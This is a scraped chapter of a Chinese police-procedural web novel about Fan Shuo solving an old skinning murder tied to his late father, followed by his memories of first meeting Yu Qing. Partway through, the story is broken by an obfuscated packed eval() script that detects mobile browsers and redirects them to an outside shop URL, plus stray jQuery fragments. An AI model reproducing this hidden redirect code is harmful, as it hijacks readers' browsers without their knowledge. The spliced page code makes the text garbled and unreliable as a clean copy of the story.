樊朔父亲樊明华,是当时柳园镇派出所的副所长,跟着调查组跑了三个多月,没破案,调查组走了,压力却给到了樊明华。
受害者家属每天去派出所询问案件进展,在调查组准备撤离时,还拉着横幅抗议。
可惜孤掌难鸣。
整个柳园镇只有受害者一家不想让调查组走,其他人巴不得没警察呢。
“受害者是谁?”孟阳问。
“一个唐氏儿,十八了,不知道得罪了什么人,被害成那样。”
怪不得。
虞晴想到那天晚上樊朔突然情绪低落,忍不住问,“后来案子是樊朔破的?”
“对。”姚果点头,“樊伯伯临死前都在记挂这件案子,知道朔哥考上公大特别高兴,一直说剥皮,剥皮的,朔哥就是记挂这个案子,才执意回开州。
樊伯伯死的时候朔哥刚拿到录取通知书,樊伯伯是笑着走的。
哎,樊伯伯身子还没凉呢,樊伯母伤心过度也走了。
大家都说两人感情太好,舍不得单独走。
可怜朔哥,一天之内失去双亲,办完父母的葬礼后,瘦得就剩一把骨头了,风一吹就能倒,眼睛比骷髅都大,看着特吓人。
当时离大学开学没两天了,我还说送他去公大呢,被他拒绝了。”
原来如此。
虞晴想到第一次见樊朔时,对方瘦得风一吹就倒的模样,她以为对方来自偏远农村,吃不饱饭,还将厂商赠送的巧克力赠品全给了樊朔,想让他多吃点儿巧克力增加体力。
却没想到背后是这样的。
“那案子是怎么破的啊?凶手是谁?”孟阳忍不住催促。
“前年市区又发生一起唐氏儿被剥皮,肢解后挂在窗边的案子。
朔哥一下子就想到了剥皮案。
先是破了前年的案子,凶手是唐氏儿一家的邻居,因为唐氏儿总是吵闹,影响孩子学习,双方为此争论过很多次都没结果,邻居愤而杀人。”
“就因为这种事杀人?”孟阳觉得不可思议。
虞晴和沈峰却并不意外,现实生活中哪儿那么多精巧的预谋,很多凶杀案都是激情杀人,仔细点儿就能破。
而且现实往往与小说相反,越是精巧布局,越是能通过人际关系排查得到线索,反而是那种随机杀人,杀完就走的案件,才最难破。
见大家都见怪不怪,孟阳只好收起好奇心,继续听姚果介绍。
从第二件剥皮案的作案手法判断,当年柳园镇剥皮案发生时,第二件案子的嫌疑人至少见过案发现场。
深入调查发现,嫌疑人是寒假去柳园镇玩,恰巧遇到剥皮案,印象深刻,犯案时下意识模仿当时的场景。
由此,樊朔将目光放在临时来镇上居住、案发一周内离开的外地人,据此锁定凶手。
原来凶手是来柳园镇学习养猪、杀猪的年轻人。
案发时在镇上舅舅家住了三个月,学习期间和舅妈发生不伦恋。俗话说奸近杀,一次,二人偷会时,被四处乱逛的唐氏儿被害者看到。
怕丑事暴露,年轻人伙同舅妈一起将唐氏儿杀害。
为了混淆视听,特意做成和唐氏儿有仇的样子,还把尸体挂在镇上仇家最多、为人最霸道的张家肉档上。
专案组起初调查时,都围绕着张家以及唐氏儿一家的社会关系,无果后才尝试其他思路。
然而那时已经是一个月之后了,凶手两人已经完全冷静下来,套好了不在场证明的证词。
加上案发现场没其他线索,这才渐渐成了悬案。
姚.红娘.替樊朔卖惨.果总结道,“因为这个案子,朔哥小学、初中没少受镇上人白眼儿。
那家受害者还去朔哥上的初中里闹,说贪官儿子不配上学,当众给朔哥一个巴掌。
哎,樊伯伯为人很清明的,当了近二十年警察,一分昧心钱没收过,就因为没破这个案子,受害者家属不忿,每年去市里、省城上访。
樊伯伯被派出所边缘化,郁郁寡欢,这才年纪轻轻就没了。”
破不了案,被受害者家属指着鼻子骂甚至怨恨,这样的委屈大家都受过,闻言都沉下脸。
警察不是神,不是每件案子都能破的。
况且那么多条条框框制约着,他们想施展也施展不开。
可杀人犯却能不受约束,肆意游走在法律框架之外。
警察调查得速度再快,也快不过他们。
很多时候警察办案都很被动,破不了案子谁也不想,但没办法就是没办法。
同一时间,樊朔被独自关在招待所,不准接触外人。
他躺在床上,看着地板上透过白纱射进来的细密光斑,视线越来越模糊,脑海中出现第一次遇见虞晴的场景。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637705|205862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
当年收到公大的录取通知书,本该是人生中最高兴的一天,父母却相继去世。
父亲不受派出所待见,虽然葬礼也有领导参加,全程却都是他一人在操持。
整整一个月,他吃不下什么东西,味同嚼蜡地吞咽着食物,完全不觉得饿。
等葬礼结束,他收拾东西坐上去燕京的火车。
随着火车咣当咣当启程,樊朔觉得身体里的某样东西也随之抽离,永远地留在了开州。
没了亲人,故乡也会变成异乡吧?
之后如何倒车、如何坐上公大的迎新车、如何报道他都没印象。
只记得被塞到手里的满满一手巧克力。
还有那个,阳光下笑起来比蜜还甜的女孩子,扎着马尾,笑着问他叫什么名字。
阳光下,她的眼睛眯成月牙,声音清脆。
她让他多吃巧克力,一步步教他如何办理绿色通道,如何领取补助。
他当时身上一定很臭吧?
大夏天坐了十几个小时的火车,葬礼后也没怎么收拾,脸上的青胡茬估计都没刮干净。
他握紧巧克力,只偷偷瞥女孩儿一眼,再没敢抬头。
那样他以为永远留在开州的东西,重新回到了身上。
后来他知道,女孩儿叫虞晴,父母都是警察,是天之骄女。
大学三年交集期间,他跟虞晴说过的话,加起来都没有虞晴毕业那晚说得多。
后来他毕业回到开州,替父亲去查那件案子,却迟迟找不到真相。
樊朔想过放弃,想过要不然就算了,任何人都有无能为力的时候。
就在他准备放弃的时候,他看到了虞晴参与破获蝴蝶杀手案的报道,突然就生出一股信念。
他要破获剥皮案,不只为了父亲,还为了初中时,当众挨的那一巴掌。
他不怪那对父母,挨过巴掌后,他把棒球帽的帽檐压低,跑到操场观众席坐了一天。
阳光照在他身上,他却感觉不到暖。
在破获剥皮案后,他重新回到那个操场,坐在当年坐的那个位置,对那个压低棒球帽的男孩儿说。
一切都结束了,他完成了承诺。
对父亲的,对那对夫妻的,以及对不到十五岁的自己。
如今,他有了新的想要做的事。
希望当年的那个男孩儿能看到。